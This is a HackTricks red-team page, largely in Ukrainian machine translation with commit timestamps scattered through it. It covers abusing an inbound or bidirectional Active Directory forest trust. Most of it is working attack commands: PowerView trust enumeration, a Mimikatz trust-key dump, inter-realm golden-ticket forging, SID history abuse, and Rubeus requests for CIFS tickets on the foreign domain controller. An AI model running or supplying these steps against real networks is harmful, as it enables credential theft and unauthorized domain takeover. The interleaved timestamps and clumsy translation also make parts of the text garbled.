2024-07-19 04:58:21 +00:00
# External Forest Domain - OneWay (Inbound) or bidirectional
{% hint style="success" %}
Learn & practice AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Learn & practice GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-08-15 21:10:48 +00:00
< details >
2024-07-19 04:58:21 +00:00
< summary > Support HackTricks< / summary >
2022-08-15 21:10:48 +00:00
2024-07-19 04:58:21 +00:00
* Check the [**subscription plans** ](https://github.com/sponsors/carlospolop )!
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-08-15 21:10:48 +00:00
< / details >
2024-07-19 04:58:21 +00:00
{% endhint %}
2022-08-15 21:10:48 +00:00
2024-03-29 18:49:46 +00:00
У цьому сценарії зовнішній домен довіряє вам (а б о обидва довіряють один одному), тому ви можете отримати певний доступ до нього.
2022-08-15 21:10:48 +00:00
2024-07-19 04:58:21 +00:00
## Enumeration
2022-08-15 21:10:48 +00:00
2024-07-19 04:58:21 +00:00
По-перше, вам потрібно **перерахувати** **довіру** :
2022-08-15 21:10:48 +00:00
```powershell
Get-DomainTrust
SourceName : a.domain.local --> Current domain
TargetName : domain.external --> Destination domain
TrustType : WINDOWS-ACTIVE_DIRECTORY
2024-03-29 18:49:46 +00:00
TrustAttributes :
2022-08-15 21:10:48 +00:00
TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
# Get name of DC of the other domain
Get-DomainComputer -Domain domain.external -Properties DNSHostName
2024-03-29 18:49:46 +00:00
dnshostname
-----------
2022-08-15 21:10:48 +00:00
dc.domain.external
# Groups that contain users outside of its domain and return its members
Get-DomainForeignGroupMember -Domain domain.external
GroupDomain : domain.external
GroupName : Administrators
GroupDistinguishedName : CN=Administrators,CN=Builtin,DC=domain,DC=external
MemberDomain : domain.external
MemberName : S-1-5-21-3263068140-2042698922-2891547269-1133
MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain,
2024-03-29 18:49:46 +00:00
DC=external
2022-08-15 21:10:48 +00:00
# Get name of the principal in the current domain member of the cross-domain group
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133
DEV\External Admins
# Get members of the cros-domain group
Get-DomainGroupMember -Identity "External Admins" | select MemberName
MemberName
----------
crossuser
# Lets list groups members
## Check how the "External Admins" is part of the Administrators group in that DC
Get-NetLocalGroupMember -ComputerName dc.domain.external
ComputerName : dc.domain.external
GroupName : Administrators
MemberName : SUB\External Admins
SID : S-1-5-21-3263068140-2042698922-2891547269-1133
IsGroup : True
IsDomain : True
2024-03-29 18:49:46 +00:00
# You may also enumerate where foreign groups and/or users have been assigned
2022-10-06 09:16:41 +00:00
# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
2022-08-15 21:10:48 +00:00
```
2024-07-19 04:58:21 +00:00
У попередній енумерації було виявлено, що користувач ** `crossuser` ** знаходиться в групі ** `External Admins` **, яка має **адміністративний доступ** всередині **DC зовнішнього домену** .
2022-08-15 21:10:48 +00:00
2024-03-29 18:49:46 +00:00
## Початковий доступ
2022-10-06 09:16:41 +00:00
2024-07-19 04:58:21 +00:00
Якщо ви **не змогли** знайти жодного **спеціального** доступу вашого користувача в іншому домені, ви все ще можете повернутися до методології AD і спробувати **підвищити привілеї з непривабливого користувача** (такі речі, як, наприклад, kerberoasting):
2022-10-08 16:35:25 +00:00
2024-07-19 04:58:21 +00:00
Ви можете використовувати **функції Powerview** для **енумерації** **іншого домену** за допомогою параметра `-Domain` , як у :
2022-10-08 16:35:25 +00:00
```powershell
Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
```
2024-07-19 04:58:21 +00:00
{% content-ref url="./" %}
[. ](./ )
{% endcontent-ref %}
2024-03-29 18:49:46 +00:00
## Імітація
2022-10-08 16:35:25 +00:00
2024-07-19 04:58:21 +00:00
### Увійти
2022-10-08 16:35:25 +00:00
2024-07-19 04:58:21 +00:00
Використовуючи звичайний метод з обліковими даними користувача, який має доступ до зовнішнього домену, ви повинні мати можливість отримати доступ:
2022-10-08 16:35:25 +00:00
```powershell
Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator
```
2024-07-19 04:58:21 +00:00
### Зловживання SID Історією
2022-10-08 16:35:25 +00:00
2024-07-19 04:58:21 +00:00
Ви також можете зловживати [**SID Історією** ](sid-history-injection.md ) через лісовий довірчий зв'язок.
2022-10-08 16:35:25 +00:00
2024-07-19 04:58:21 +00:00
Якщо користувача **мігрують з одного лісу в інший** і **фільтрація SID не ввімкнена** , стає можливим **додати SID з іншого лісу** , і цей **SID** буде **додано** до **токена користувача** під час автентифікації **через довірчий зв'язок** .
2022-08-15 21:10:48 +00:00
{% hint style="warning" %}
2024-07-19 04:58:21 +00:00
Нагадаємо, ви можете отримати ключ підпису з
2022-08-15 21:10:48 +00:00
```powershell
2022-10-08 16:35:25 +00:00
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local
2022-08-15 21:10:48 +00:00
```
{% endhint %}
2024-07-19 04:58:21 +00:00
Ви могли б **підписати** **достовірним** ключем **TGT, що імітує** користувача поточного домену.
2022-08-15 21:10:48 +00:00
```bash
# Get a TGT for the cross-domain privileged user to the other domain
Invoke-Mimikatz -Command '"kerberos::golden /user:< username > /domain:< current domain > /SID:< current domain SID > /rc4:< trusted key > /target:< external.domain > /ticket:C:\path\save\ticket.kirbi"'
# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:C:\path\save\ticket.kirbi /nowrap
# Now you have a TGS to access the CIFS service of the domain controller
```
2024-07-19 04:58:21 +00:00
### Повний спосіб імплементації користувача
2022-08-15 21:10:48 +00:00
```bash
# Get a TGT of the user with cross-domain permissions
Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap
# Get a TGT from the current domain for the target domain for the user
Rubeus.exe asktgs /service:krbtgt/domain.external /domain:sub.domain.local /dc:dc.sub.domain.local /ticket:doIFdD[...snip...]MuSU8= /nowrap
# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:doIFMT[...snip...]5BTA== /nowrap
# Now you have a TGS to access the CIFS service of the domain controller
```
2024-07-19 04:58:21 +00:00
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Вивчайте та практикуйте GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-08-15 21:10:48 +00:00
< details >
2024-07-19 04:58:21 +00:00
< summary > Підтримайте HackTricks< / summary >
2022-08-15 21:10:48 +00:00
2024-07-19 04:58:21 +00:00
* Перевірте [**плани підписки** ](https://github.com/sponsors/carlospolop )!
* **Приєднуйтесь до** 💬 [**групи Discord** ](https://discord.gg/hRep4RUj7f ) а б о [**групи Telegram** ](https://t.me/peass ) а б о **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) та [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) репозиторіїв на github.
2022-08-15 21:10:48 +00:00
< / details >
2024-07-19 04:58:21 +00:00
{% endhint %}